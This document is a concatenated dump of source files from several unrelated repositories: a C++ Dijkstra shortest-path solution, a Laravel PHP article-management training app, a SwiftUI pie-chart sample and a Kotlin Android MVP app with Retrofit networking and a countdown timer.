vector<int> dist(V + 1, INF);
dist[x] = 0;
priority_queue<pair<int, int>> pq;
pq.push(make_pair(0, x));
while (!pq.empty()) {
int cost = -pq.top().first;
int here = pq.top().second;
pq.pop();
if (dist[here] < cost) continue;
for (int i = 0; i < adj[here].size(); ++i)
{
int there = adj[here][i].first;
int nextDist = cost + adj[here][i].second;
if (dist[there] > nextDist) {
dist[there] = nextDist;
pq.push(make_pair(-nextDist, there));
}
}
}
return dist;
}
int main()
{
int C;
cin >> C;
while (C--) {
cin >> V >> E >> n >> m;
//노드가 1부터 시작해서
adj = vector<vector<pair<int, int>>>(V+1, vector<pair<int, int>>());
//엣지 추가
for (int i = 0; i < E; ++i){
int n1, n2, n3;
cin >> n1 >> n2 >> n3;
adj[n1].push_back(make_pair(n2, n3));
adj[n2].push_back(make_pair(n1, n3));
}
//불난 곳
for (int i = 0; i < n; ++i)
cin >> fire[i];
//소방서
for (int i = 0; i < m; ++i) {
int num;
cin >> num;
adj[0].push_back(make_pair(num, 0));
adj[num].push_back(make_pair(0, 0));
}
vector<int> dist;
dist = dijkstra(0);
//불난 곳에서 걸리는 시간 계산
int sum = 0;
for (int i = 0; i < n; ++i)
sum += dist[fire[i]];
cout << sum << "\n";
}
return 0;
} | 31989da04c73a945cfd3916e13031d80bb4088fa | [
"C++"
] | 17 | C++ | SketchAlgorithm/17_Yeom-Sanghee | 8592e2e77f880fe314d3659620c24e40e4bfce62 | 0a5b5485af83f003c64cf9b67b8aaad3a4550d7b |
refs/heads/master | <file_sep><?php
namespace App\Http\ViewComposer;
use Illuminate\View\View;
class Menu{
public function compose(View $view){
$view->with([
'menu'=>'articles',
'hora'=>date('H:i')
]);
//Cache::forget('roles');
}
}
/*
session()->put('key','value');
session()->get('key','default');
session()->forget('key');
session()->flush();
*/<file_sep><?php
Route::group(['prefix'=>'admin'],function(){
Route::get('/saludar',function(){
return "Hola";
});
Route::get('/saludar-p/{name}',function($name){
return "Hola: ".$name;
});
Route::get('/saludar-d/{name?}',function($name="vacio"){
return "Hola: ".$name;
});
Route::get('/sumar/{op1}/{op2?}',function($op1,$op2=1){
return $op1+$op2;
});
Route::get('/sumar-t/{op1}/{op2}/{op3?}',function($op1,$op2,$op3=1){
return $op1+$op2+$op3;
});
Route::get('validador/{num}',function($num){
return $num;
})->where(['num'=>'[A-Z][0-9]+']);
Route::get('validador2/{num}/{num2}',function($num,$num2){
return $num+$num2;
})->where(['num'=>'[0-9]+','num2'=>'[0-9]+']);
});<file_sep><?php
namespace App\Core\Eloquent;
use Illuminate\Database\Eloquent\Model;
use Cviebrock\EloquentSluggable\Sluggable;
class Article extends Model
{
use Sluggable;
protected $appends=['resource_cover'];
public function resources(){
return $this->hasMany(Resource::class,'article_id','id');
}
public function getResourceCoverAttribute(){
$obj= Resource::where('article_id',$this->id)
->first();
return route('get-image',optional($obj)->name??'default.png') ;
}
public function category(){
return $this->belongsTo(Category::class,'category_id','id');
}
protected $fillable = ['name','description','category_id'];
public function sluggable()
{
return [
'slug' => [
'source' => 'name'
]
];
}
public static function boot()
{
static::creating(function ($model) {
$model->created_user=1;
$model->updated_user=1;
});
static::updating(function($model){
$model->updated_user=1;
});
parent::boot();
}
}
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
$actual = "NOMBRE,APELLIDO,EMAIL\n";
$actual.= "NOMBRE,APELLIDO,EMAIL";
// Escribe el contenido al fichero
file_put_contents('/home/blacksato/capacitacionintg/texto.csv', $actual);
//event(new App\Events\PushArticle('hola'));
//return view('welcome');
});
Auth::routes(['register'=>true]);
Route::get('/home', 'HomeController@index')->name('home');
Route::get('/get-file/{file}',function($file){
if(Storage::disk('public')->exists('photos-articles/'.$file)){
return Response::make(Storage::disk('public')->get('photos-articles/'.$file), '200');
}
return Response::make(Storage::disk('public')->get('photos-articles/default.png'), '200');
})->name('get-image');
Route::get('test-mail',function(){
$user=\App\User::findOrFail(1); //cambiar el uno por tu id de la BD y verificar el email
return $user->notify(new \App\Notifications\SendCountArticle(
\App\Core\Eloquent\Article::count()
));/*
return (new \App\Mail\ArticlesMail('dato'))->render();*/
});
Route::get('enviar',function(){
$user=\App\User::findOrFail(1);
Mail::to($user)
->queue(
new \App\Mail\ArticlesMail('dato')
);
});
Route::get('job',function(){
\App\Jobs\Sumar::dispatch(['n1'=>4,'n2'=>6]);
});
Route::get('roles-permisos',function(){
$admin=Bouncer::role()->firstOrCreate([
'name' => 'admin',
'title' => 'Administrador del Sistema',
]);
$ab1 = Bouncer::ability()->firstOrCreate([
'name' => 'article-create',
'title' => 'creacion de artículos',
]);
$ab2 = Bouncer::ability()->firstOrCreate([
'name' => 'article-show',
'title' => 'observa artículos',
]);
$ab3 = Bouncer::ability()->firstOrCreate([
'name' => 'article-comentarios',
'title' => 'comenta en los artículos',
]);
Bouncer::allow($admin)->to($ab1);
Bouncer::allow($admin)->to($ab2);
Bouncer::allow($admin)->to($ab3);
$user=\App\User::find(1);
Bouncer::assign('admin')->to($user);
return "Rol asignado";
});
//https://scotch.io/tutorials/introduction-to-laravel-dusk<file_sep><?php
namespace App\Core\Facades;
use Cache;
use App\Core\Eloquent\Article;
class ListWithCache{
public function getListArticlesByServices(){
return Cache::remember('articles',600,function(){
return Article::with(['category'])->get();
});
/*
Cache::get('key',default);
Cache::put('key','value');
Cache::forget('key');
*/
}
}<file_sep><?php
namespace App\Core\Eloquent;
use Illuminate\Database\Eloquent\{Model,SoftDeletes};
use Str;
class Category extends Model
{
use SoftDeletes; //trait
protected $table="categories";
protected $connection="pgsql";
protected $fillable=['name','description'];
public static function boot()
{
static::creating(function ($model) {
$model->slug=Str::slug($model->name);
$model->created_user=1;
$model->updated_user=1;
});
static::updating(function($model){
$model->updated_user=1;
});
parent::boot();
}
//assesor
public function getNameAttribute($value){
return Str::upper($value);
}
//mutator
public function setNameAttribute($value){
$this->attributes['name']=Str::upper($value);
}
}
<file_sep><?php
namespace App\Http\Requests;
use Illuminate\Foundation\Http\FormRequest;
use App\Rules\ImagesRule;
class ArticleRequest extends FormRequest
{
/**
* Determine if the user is authorized to make this request.
*
* @return bool
*/
public function authorize()
{
return authorizePutPost(request()->method(), 'article');
}
/**
* Get the validation rules that apply to the request.
*
* @return array
*/
public function rules()
{
return [
'name'=>'required|min:7',
'description'=>'required|min:7|max:200',
'category_id'=>'required|numeric|exists:categories,id',
'resources'=>['required',new ImagesRule()]
];
}
}
<file_sep><?php
namespace App\Notifications;
use Illuminate\Bus\Queueable;
use Illuminate\Notifications\Notification;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Notifications\Messages\MailMessage;
class SendCountArticle extends Notification
{
use Queueable;
protected $cant;
/**
* Create a new notification instance.
*
* @return void
*/
public function __construct($cant)
{
$this->cant=$cant;
}
/**
* Get the notification's delivery channels.
*
* @param mixed $notifiable
* @return array
*/
public function via($notifiable)
{
return ['mail'];
}
/**
* Get the mail representation of the notification.
*
* @param mixed $notifiable
* @return \Illuminate\Notifications\Messages\MailMessage
*/
public function toMail($notifiable)
{
return (new MailMessage)
->level('error')
->line('Se detectan '.$this->cant.' artículos en el sistema')
->action('Click Aqui', url('/'))
->line('Saludos Cordiales!');
}
/**
* Get the array representation of the notification.
*
* @param mixed $notifiable
* @return array
*/
public function toArray($notifiable)
{
return [
//
];
}
}
<file_sep><?php
//Route::group(['middleware'=>'visitar'],function(){
Route::resource('categories','Catalogs\CategoryController');
//});
Route::resource('articles','Catalogs\ArticleController');
//->except(['show','index']);
//->only(['index'])
<file_sep><?php
namespace App\Core\Facades;
class AlertCustom{
public function success($msg){
session()->flash('success',$msg);
}
public function error($msg){
session()->flash('error',$msg);
}
}<file_sep><?php
namespace App\Rules;
use Illuminate\Contracts\Validation\Rule;
class ImagesRule implements Rule
{
private $nameAttribute;
/**
* Create a new rule instance.
*
* @return void
*/
public function __construct()
{
//
}
/**
* Determine if the validation rule passes.
*
* @param string $attribute
* @param mixed $value
* @return bool
*/
public function passes($attribute, $value)
{
$this->nameAttribute=$attribute;
$result=true;
foreach($value as $key => $item){
if(!in_array($item->getMimeType(),['image/png','image/jpg','image/jpeg'])){
$result=false;
break;
}
}
return $result;
}
/**
* Get the validation error message.
*
* @return string
*/
public function message()
{
return 'El campo '.$this->nameAttribute.' solo acepta imagenes PNG / JPEG';
}
}
<file_sep><?php
namespace App\Http\Controllers\Api;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Core\Eloquent\Article;
use Facades\App\Core\Facades\ListWithCache;
class ArticleController extends Controller
{
public function listArticles(Request $request){
if(!$request->ajax()){
return abort(401);
}
return response()->json(
ListWithCache::getListArticlesByServices()
);
}
}
<file_sep><?php
namespace App\Core\Eloquent;
use Illuminate\Database\Eloquent\Model;
class Resource extends Model
{
protected $fillable=['name','vpath','article_id'];
public function article(){
return $this->belongsTo(Article::class,'article_id','id');
}
public function assign($uploadedFiles){
$arrResources=[];
foreach ($uploadedFiles as $key => $file) {
$nameFile='IMG'.uniqid().'.'.$file->getClientOriginalExtension();
saveFile($nameFile,$file);
$arrResources[]=new Resource([
'name'=>$nameFile,
'vpath'=>'/photos-articles/'
]);
}
return $arrResources;
}
}<file_sep><?php
function saveFile($namefile, $objFile){
\Storage::disk('public')
->put('/photos-articles/'.$namefile,
\File::get($objFile));
}
function currentUser(){
return auth()->user();
}
function authorizePutPost($method, $action){
if($method=='POST'){
return currentUser()->can($action.'-create');
}
if($method=='PUT'){
return currentUser()->can($action.'-update');
}
}<file_sep><?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
class CountArticle extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'site:articlecounts';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Comando para contar articulos y notificar';
/**
* Create a new command instance.
*
* @return void
*/
public function __construct()
{
parent::__construct();
}
/**
* Execute the console command.
*
* @return mixed
*/
public function handle()
{
$this->info("Inicio del proceso de notificacion");
$message=\App\Core\Eloquent\Article::count();
$message="A la fecha :".\Carbon\Carbon::now()." hay ".$message." artículos";
$this->info($message);
$this->info("Transmitiendo push");
event(new \App\Events\PushArticle($message));
$this->info("Fin del proceso de notificacion");
}
}
| 8e6e903fc9fb59301960ad6b943025109bca1f07 | [
"PHP"
] | 15 | PHP | satoblacksato/capacitacionintg | f6498357477266b8bf2bd2e851ec98cc3eba0a69 | cb9949f10da82275b137ae9fa04172358aa1c5eb |
refs/heads/main | <file_sep>//
// SwiftUI_PieChartApp.swift
// SwiftUI-PieChart
//
// Created by <NAME> on 26.03.21.
//
import SwiftUI
@main
struct SwiftUI_PieChartApp: App {
var body: some Scene {
WindowGroup {
VStack {
PieChart([
(.red, 50),
(.blue, 50),
(.purple, 50)
])
HStack {
PieChart([
(.red, 1),
(.blue, 2),
(.purple, 3),
(.green, 4),
])
PieChart([
(.red, 50),
(.blue, 50),
(.purple, 50)
])
}
}
.padding()
}
}
}
<file_sep>//
// ContentView.swift
// SwiftUI-PieChart
//
// Created by <NAME> on 26.03.21.
//
import SwiftUI
struct PieChart: View {
fileprivate var slices: [PieSlice] = []
init(_ values: [(Color, Double)]) {
slices = calculateSlices(from: values)
}
var body: some View {
GeometryReader { reader in
let halfWidth = (reader.size.width / 2)
let halfHeight = (reader.size.height / 2)
let radius = min(halfWidth, halfHeight)
let center = CGPoint(x: halfWidth, y: halfHeight)
ZStack(alignment: .center) {
ForEach(slices, id: \.self) { slice in
Path { path in
path.move(to: center)
path.addArc(center: center, radius: radius, startAngle: slice.start, endAngle: slice.end, clockwise: false)
}
.fill(slice.color)
}
}
}
}
private func calculateSlices(from inputValues: [(color: Color, value: Double)]) -> [PieSlice] {
let sumOfAllValues = inputValues.reduce(0) { $0 + $1.value }
guard sumOfAllValues > 0 else {
return []
}
let degreeForOneValue = 360.0 / sumOfAllValues
var currentStartAngle = 0.0
var slices = [PieSlice]()
inputValues.forEach { inputValue in
let endAngle = degreeForOneValue * inputValue.value + currentStartAngle
slices.append(PieSlice(start: Angle(degrees: currentStartAngle), end: Angle(degrees: endAngle),color: inputValue.color))
currentStartAngle = endAngle
}
return slices
}
}
private struct PieSlice : Hashable {
var start: Angle
var end: Angle
var color: Color
}
struct PieChart_Previews: PreviewProvider {
static var previews: some View {
PieChart([
(.red, 50),
(.blue, 50),
(.purple, 50)
])
HStack {
PieChart([
(.red, 50),
(.blue, 50),
(.purple, 50)
])
PieChart([
(.red, 1),
(.blue, 2),
(.purple, 3),
(.green, 4)
])
}
}
}
<file_sep># SwiftUI-PieChart
Sample project for a simple Pie Chart in SwiftUI. This example was created while writing the following article.
## How to use
```Swift
VStack {
PieChart([
(.red, 50),
(.blue, 50),
(.purple, 50)
])
HStack {
PieChart([
(.red, 1),
(.blue, 2),
(.purple, 3),
(.green, 4),
])
PieChart([
(.red, 50),
(.blue, 50),
(.purple, 50)
])
}
}
.padding()
```
## Example Image

| e00addb4800e19233bc8ce8d8f9fb45f2f8e50d6 | [
"Swift",
"Markdown"
] | 3 | Swift | KunzManuel/SwiftUI-PieChart | f31879fc768d007d3652700faabbeb0b1f06508e | e17a13d07214c9a8382765ba5d59d93ec38f70d8 |
refs/heads/main | <file_sep>export interface User {
id: string;
username: string;
email: string;
phone:string;
adress:string;
}
| 09a9f54b6489800f1b05f705ac35d31caf2dcd49 | [
"TypeScript"
] | 1 | TypeScript | weilun2/library-client | e9e6d131fad5cef848ae62b8d6a7bc0433e5046c | 5e22dbe974450dffd119968f2a477592f464aeb0 |
refs/heads/master | <file_sep>package com.izk.izkkotlin.ui.main.view
import com.izk.izkkotlin.mvp.view.BaseView
/**
* Created by malong on 2020/11/24
* 功能 :
*/
interface HomeView :BaseView {
}<file_sep>package com.izk.izkkotlin.http
import com.izk.izkkotlin.mvp.model.BaseModel
import com.izk.izkkotlin.ui.main.model.CodeModel
import com.izk.izkkotlin.ui.main.model.MainModel
import io.reactivex.Observable
import retrofit2.http.Field
import retrofit2.http.FormUrlEncoded
import retrofit2.http.GET
import retrofit2.http.POST
/**
* Created by malong on 2020/11/24
* 功能 : 网络请求地址
*/
interface UserApi {
@GET("wxarticle/chapters/json")
fun getTest():Observable<BaseModel<MainModel>>
@FormUrlEncoded
@POST("user/news/sendCode")
fun getCode(@Field("phoneNumber")phone:String):Observable<BaseModel<CodeModel>>
}<file_sep>package com.izk.izkkotlin.ui.utils
import android.os.CountDownTimer
/**
* Created by malong on 2020/11/26
* 功能 : 倒计时
*/
class CountDownTime(millisInFuture: Long, countDownInterval: Long,countDownTimeListener: CountDownTimeListener) : CountDownTimer(millisInFuture, countDownInterval) {
private var countDownTimeListener: CountDownTimeListener = countDownTimeListener
override fun onFinish() {
countDownTimeListener.isOver(true)
}
override fun onTick(millisUntilFinished: Long) {
countDownTimeListener.isOver(false)
countDownTimeListener.countDown(millisUntilFinished)
}
}<file_sep>ext {
android = [
compileSdkVersion: 29,
buildToolsVersion: "29.0.3",
applicationId : "com.izk.izkkotlin",
minSdkVersion : 21,
targetSdkVersion : 29,
versionCode : 1,
versionName : "1.0",
]
dependencies = [
"android-design" : "com.android.support:design:29.0.3",
//OkHttp + Retrofit
"okhttp" : "com.squareup.okhttp3:okhttp:3.12.0",
"okhttp-log" : "com.squareup.okhttp3:logging-interceptor:3.8.1",
"retrofit" : "com.squareup.retrofit2:retrofit:2.5.0",
"retrofit-adapter" : "com.squareup.retrofit2:adapter-rxjava2:2.5.0",
"retrofit-gson" : "com.squareup.retrofit2:converter-gson:2.5.0",
//日志Log
"http-log" : "com.orhanobut:logger:2.2.0",
//RxJava
"rxjava" : "io.reactivex.rxjava2:rxjava:2.2.3",
"rxandroid" : "io.reactivex.rxjava2:rxandroid:2.1.0",
//底部标签库
"nineoldanroids" : "com.nineoldandroids:library:2.4.0",
"flyco-roundview" : "com.flyco.roundview:FlycoRoundView_Lib:1.1.2@aar",
"flyco-tablayout" : "com.flyco.tablayout:FlycoTabLayout_Lib:2.1.2",
]
}<file_sep>package com.izk.izkkotlin.ui.main.act
import android.content.Intent
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.BaseActivity
import com.izk.izkkotlin.ui.main.presenter.RegisterPresenter
import com.izk.izkkotlin.ui.main.view.RegisterView
import kotlinx.android.synthetic.main.register_activity.*
/**
* Created by malong on 2020/11/25
* 功能 : 注册页面
*/
class RegisterActivity : BaseActivity<RegisterView, RegisterPresenter>(), RegisterView {
override fun getLayoutId(): Int = R.layout.register_activity
override fun init() {
//跳转到发送验证码页面
jump_to_send_code.setOnClickListener {
startActivity(Intent(this@RegisterActivity,SendCodeActivity::class.java))
}
}
override fun initData() {
}
override fun createPresenter(): RegisterPresenter = RegisterPresenter()
override fun <T> setData(data: T) {
}
override fun setError(err: String) {
}
}<file_sep>package com.izk.izkkotlin.ui.main.act
import android.content.Intent
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.os.Message
import android.os.Message.obtain
import android.util.Log
import android.widget.Toast
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.BaseActivity
import com.izk.izkkotlin.base.Constants.COUNTDOWN_TIME
import com.izk.izkkotlin.base.Constants.COUNTDOWN_TIME_INVERSE
import com.izk.izkkotlin.ui.main.presenter.SendCodePresenter
import com.izk.izkkotlin.ui.main.view.SendCodeView
import com.izk.izkkotlin.ui.utils.CountDownTime
import com.izk.izkkotlin.ui.utils.CountDownTimeListener
import kotlinx.android.synthetic.main.activity_send_code.*
class SendCodeActivity : BaseActivity<SendCodeView, SendCodePresenter>(),SendCodeView,CountDownTimeListener {
private var mCountDownTime:CountDownTime? = null
override fun getLayoutId(): Int = R.layout.activity_send_code
override fun init() {
mCountDownTime = CountDownTime(COUNTDOWN_TIME, COUNTDOWN_TIME_INVERSE,this)
mCountDownTime?.start()
}
override fun initData() {
commonGetCode()
}
override fun createPresenter(): SendCodePresenter = SendCodePresenter()
override fun <T> setData(data: T) {
}
override fun setError(err: String) {
Toast.makeText(this,"模拟请求成功,进入下一页面",Toast.LENGTH_LONG).show()
//直接使线程休眠,程序不健壮,不建议使用
// Thread.sleep(3000)
// var intent:Intent = Intent(this@SendCodeActivity,StudyActivity::class.java)
// var bundle = Bundle()
// bundle.putString("name","ml")
// intent.putExtras(bundle)
// startActivity(intent)
// 发送一条携带Bundle对象的消息
val mMessage = obtain()
val mBundle = Bundle()
mBundle.putString(NAME_KEY, "ml")
Log.i("传入参数", "ml")
mMessage.data = mBundle
mHandler.sendMessage(mMessage)
// 使用sendEmptyMessageDelayed延时1s后发送一条消息
mHandler.sendEmptyMessageDelayed(MESSAGE_WHAT, 3000)
}
override fun countDown(time: Long) {
val s = ("重新获取(${time/1000})秒")
tv_get_re_code.text = s
tv_get_re_code.isEnabled = false
}
override fun isOver(isOver: Boolean) {
val s = "重新获取"
tv_get_re_code.text = s
tv_get_re_code.isEnabled = true
tv_get_re_code.setOnClickListener{
mCountDownTime?.start()
commonGetCode()
}
}
private fun commonGetCode() {
getPresenter()?.getCode("18618187729")
}
// 静态常量
companion object {
const val NAME_KEY = "NAME"
const val MESSAGE_WHAT = 1001
}
// 创建一个Handler
private val mHandler: Handler = object : Handler(Looper.getMainLooper()) {
override fun handleMessage(msg: Message?) {
super.handleMessage(msg)
when (msg?.what) {
MESSAGE_WHAT -> {
Log.e("Kotlin", "接收通过sendEmptyMessageDelayed()发送过来的消息")
var intent:Intent = Intent(this@SendCodeActivity,StudyActivity::class.java)
var bundle = Bundle()
bundle.putString("name","ml")
intent.putExtras(bundle)
startActivity(intent)
}
}
}
}
}<file_sep>package com.izk.izkkotlin.http
//数据请求回调
interface ResponseListener<T> {
fun onSuccess(data:T)
fun onFailed(err:String)
}
<file_sep>package com.izk.izkkotlin.base
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.fragment.app.Fragment
import com.izk.izkkotlin.mvp.presenter.BasePresenter
import com.izk.izkkotlin.mvp.view.BaseView
/**
* Created by malong on 2020/11/24
* 功能 :
*/
abstract class BaseFragment<V, P: BasePresenter<V>> : Fragment(), BaseView {
private var mPresenter: P? = null
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View? {
return inflater.inflate(getLayout(),container,false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
if (mPresenter == null) {
mPresenter = createPresenter()
}
mPresenter!!.bindView(this as V)
init()
initData()
}
protected abstract fun getLayout(): Int
protected abstract fun init()
protected abstract fun initData()
protected abstract fun createPresenter(): P
fun getPresenter() = mPresenter
override fun onDestroy() {
super.onDestroy()
mPresenter!!.unbindView()
}
}<file_sep>package com.izk.izkkotlin.ui.view
import android.content.Context
import android.content.res.TypedArray
import android.util.AttributeSet
import android.view.LayoutInflater
import android.view.View
import android.widget.FrameLayout
import com.izk.izkkotlin.R
import kotlinx.android.synthetic.main.set_page_item.view.*
/**
* Created by malong on 2020/11/27
* 功能 : 设置页面封装类
*/
class SetPageItemView @JvmOverloads constructor(
context: Context, attrs: AttributeSet? = null, defStyleAttr: Int = 0
) : FrameLayout(context, attrs, defStyleAttr) {
private var leftTitle:String? = ""
private var leftContent:String? = ""
private var rightTitle:String? = ""
private var rightImgIsShow:Boolean = false
private var rightButtonIsShow:Boolean = false
private val setArray:TypedArray = context.obtainStyledAttributes(attrs, R.styleable.SetPageItem)
init{
leftTitle = setArray.getString(R.styleable.SetPageItem_leftTitle)
leftContent = setArray.getString(R.styleable.SetPageItem_leftContent)
rightTitle = setArray.getString(R.styleable.SetPageItem_rightTitle)
rightImgIsShow = setArray.getBoolean(R.styleable.SetPageItem_rightImgIsShow,false)
rightButtonIsShow = setArray.getBoolean(R.styleable.SetPageItem_rightButtonIsShow,false)
setArray.recycle()
initView()
}
private fun initView() {
val view: View = LayoutInflater.from(context).inflate(R.layout.set_page_item,this)
view.tv_left.text = leftTitle
view.tv_left_content.text = leftContent
view.tv_right.text = rightTitle
isShowImg(view)
isShowImgButton(view)
}
private fun isShowImg(view: View) {
if (rightImgIsShow){
view.iv_right.visibility = View.VISIBLE
}else{
view.iv_right.visibility = View.GONE
}
}
private fun isShowImgButton(view: View) {
if (rightButtonIsShow){
view.iv_right_button.visibility = View.VISIBLE
}else{
view.iv_right_button.visibility = View.GONE
}
}
}<file_sep>package com.izk.izkkotlin.mvp.presenter
/**
* Created by malong on 2020/11/24
* 功能 : BasePresenter 基类
*/
open class BasePresenter<V> {
private var mBaseView: V? = null//?表示当前参数可以为null
fun bindView(mBaseView: V){
this.mBaseView = mBaseView
}
fun unbindView(){
this.mBaseView = null
}
fun getBaseView() = mBaseView
}<file_sep>package com.izk.izkkotlin.ui.main.act
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.util.Log
import com.izk.izkkotlin.R
import kotlinx.android.synthetic.main.activity_study.*
class StudyActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_study)
var extras = this.intent.extras
Log.i("mlmlmlml", extras?.get("name").toString())
tv_study.text = extras?.get("name").toString()
}
}<file_sep>package com.izk.izkkotlin.ui.main.presenter
import com.izk.izkkotlin.http.HttpUtils
import com.izk.izkkotlin.http.ResponseListener
import com.izk.izkkotlin.http.UserApi
import com.izk.izkkotlin.mvp.model.BaseModel
import com.izk.izkkotlin.mvp.presenter.BasePresenter
import com.izk.izkkotlin.ui.main.model.CodeModel
import com.izk.izkkotlin.ui.main.view.SendCodeView
/**
* Created by malong on 2020/11/26
* 功能 :
*/
class SendCodePresenter :BasePresenter<SendCodeView>() {
fun getCode(phoneNumber: String) {
HttpUtils.sendHttp(HttpUtils.createApi(UserApi::class.java).getCode(phoneNumber),object :
ResponseListener<BaseModel<CodeModel>> {
override fun onSuccess(data: BaseModel<CodeModel>) {
if (data!= null){
if (data.code == 100){
getBaseView()?.setData(data.data)
}
}
}
override fun onFailed(err: String) {
getBaseView()!!.setError(err)
}
})
}
}<file_sep>package com.izk.izkkotlin.ui.main.frg
import android.content.Intent
import android.view.View
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.BaseFragment
import com.izk.izkkotlin.ui.main.act.RegisterActivity
import com.izk.izkkotlin.ui.main.presenter.HomePresenter
import com.izk.izkkotlin.ui.main.view.HomeView
import kotlinx.android.synthetic.main.fragment_home.*
/**
* Created by malong on 2020/11/24
* 功能 : 主页 Fragment
*/
class HomeFragment : BaseFragment<HomeView, HomePresenter>(), HomeView {
override fun init() {
tv_home2.setOnClickListener(View.OnClickListener {
startActivity(Intent(context, RegisterActivity::class.java))
})
}
override fun initData() {}
override fun createPresenter(): HomePresenter = HomePresenter()
override fun <T> setData(data: T) {}
override fun setError(err: String) {}
override fun getLayout(): Int = R.layout.fragment_home
}<file_sep>include ':app'
rootProject.name = "IzkKotlin"<file_sep>package com.izk.izkkotlin.ui.main.model
import com.izk.izkkotlin.mvp.model.BaseModel
/**
* Created by malong on 2020/11/24
* 功能 :
*/
class MainModel {
}<file_sep>package com.izk.izkkotlin.ui.main.model
/**
* Created by malong on 2020/11/26
* 功能 :
*/
class CodeModel {
}<file_sep>package com.izk.izkkotlin.ui.main.model
import com.flyco.tablayout.listener.CustomTabEntity
/**
* Created by malong on 2020/11/24
* 功能 : 主页tab model
*/
data class TitleModel(val title: String, val select: Int, val unSelect: Int) : CustomTabEntity {
override fun getTabUnselectedIcon(): Int = unSelect
override fun getTabSelectedIcon(): Int = select
override fun getTabTitle(): String = title
}<file_sep>package com.izk.izkkotlin.ui.utils
/**
* Created by malong on 2020/11/26
* 功能 : 倒计时接口
*/
interface CountDownTimeListener {
fun countDown(time:Long)
fun isOver(isOver:Boolean)
}<file_sep>package com.izk.izkkotlin.mvp.model
/**
* Created by malong on 2020/11/24
* 功能 : BaseModel 基类
*/
data class BaseModel<T>(val code: Int, val message: String, val data: T) {}<file_sep>package com.izk.izkkotlin.mvp.view
/**
* Created by malong on 2020/11/24
* 功能 : BaseView 基类
*/
interface BaseView {
fun <T> setData(data: T)
fun setError(err: String)
}<file_sep>package com.izk.izkkotlin.ui.main.presenter
import com.izk.izkkotlin.http.HttpUtils
import com.izk.izkkotlin.http.ResponseListener
import com.izk.izkkotlin.http.UserApi
import com.izk.izkkotlin.mvp.model.BaseModel
import com.izk.izkkotlin.mvp.presenter.BasePresenter
import com.izk.izkkotlin.ui.main.model.MainModel
import com.izk.izkkotlin.ui.main.view.MainView
/**
* Created by malong on 2020/11/24
* 功能 :
*/
class MainPresenter : BasePresenter<MainView>() {
fun getTest(){
HttpUtils.sendHttp(HttpUtils.createApi(UserApi::class.java).getTest(), object :ResponseListener<BaseModel<MainModel>>{
override fun onSuccess(data: BaseModel<MainModel>) {
if (data != null){
getBaseView()!!.setData(data)
}
}
override fun onFailed(err: String) {
getBaseView()!!.setError(err)
}
})
}
}<file_sep>package com.izk.izkkotlin.ui.main.adapter
import androidx.fragment.app.Fragment
import androidx.fragment.app.FragmentManager
import androidx.fragment.app.FragmentPagerAdapter
/**
* Created by malong on 2020/11/24
* 功能 : 主页tab 的 fragment
*/
class TabAdapter(fm:FragmentManager, fragments:ArrayList<Fragment>) : FragmentPagerAdapter(fm) {
private val fragments:ArrayList<Fragment> = fragments
override fun getItem(position: Int): Fragment = fragments!!.get(position)
override fun getCount(): Int = fragments.size
}<file_sep>package com.izk.izkkotlin.ui.main.act
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.BaseActivity
import com.izk.izkkotlin.ui.main.presenter.SetPresenter
import com.izk.izkkotlin.ui.main.view.SetView
class SetActivity : BaseActivity<SetView, SetPresenter>(),SetView {
override fun getLayoutId(): Int = R.layout.activity_set
override fun init() {
}
override fun initData() {
}
override fun createPresenter(): SetPresenter = SetPresenter()
override fun <T> setData(data: T) {
}
override fun setError(err: String) {
}
}<file_sep>package com.izk.izkkotlin.base
/**
* Created by malong on 2020/11/24
* 功能 : 常量配置类
*/
object Constants {
//网络访问主地址
const val BASE_URL = "http://toutiao.apkbus.com/wp-json/custom/v1/"
const val BASE_URL_TEST = "http://toutiao.apkbus.com/wp-json/custom/v1/"
//状态栏字体及背景颜色
const val HOME_BAR = 1//状态栏字体颜色为白色
const val COMMON_BAR = 2//状态栏字体颜色为黑色
//倒计时时间设置
const val COUNTDOWN_TIME:Long = 60 * 1000//倒计时60秒
const val COUNTDOWN_TIME_INVERSE:Long = 1000//倒计时1秒 单位
}<file_sep>package com.izk.izkkotlin.ui.main.frg
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.BaseFragment
import com.izk.izkkotlin.ui.main.presenter.HomePresenter
import com.izk.izkkotlin.ui.main.view.HomeView
import kotlinx.android.synthetic.main.fragment_mine.*
/**
* Created by malong on 2020/11/24
* 功能 : 主页 Fragment
*/
class MineFragment : BaseFragment<HomeView, HomePresenter>(), HomeView {
override fun init() {
// rv_1.adapter =
}
override fun initData() {
}
override fun createPresenter(): HomePresenter = HomePresenter()
override fun <T> setData(data: T) {
}
override fun setError(err: String) {
}
override fun getLayout(): Int = R.layout.fragment_mine
}<file_sep>package com.izk.izkkotlin.ui.main.act
import android.util.Log
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.flyco.tablayout.listener.CustomTabEntity
import com.flyco.tablayout.listener.OnTabSelectListener
import com.izk.izkkotlin.R
import com.izk.izkkotlin.base.BaseActivity
import com.izk.izkkotlin.base.Constants.COMMON_BAR
import com.izk.izkkotlin.ui.main.adapter.TabAdapter
import com.izk.izkkotlin.ui.main.frg.HomeFragment
import com.izk.izkkotlin.ui.main.frg.MineFragment
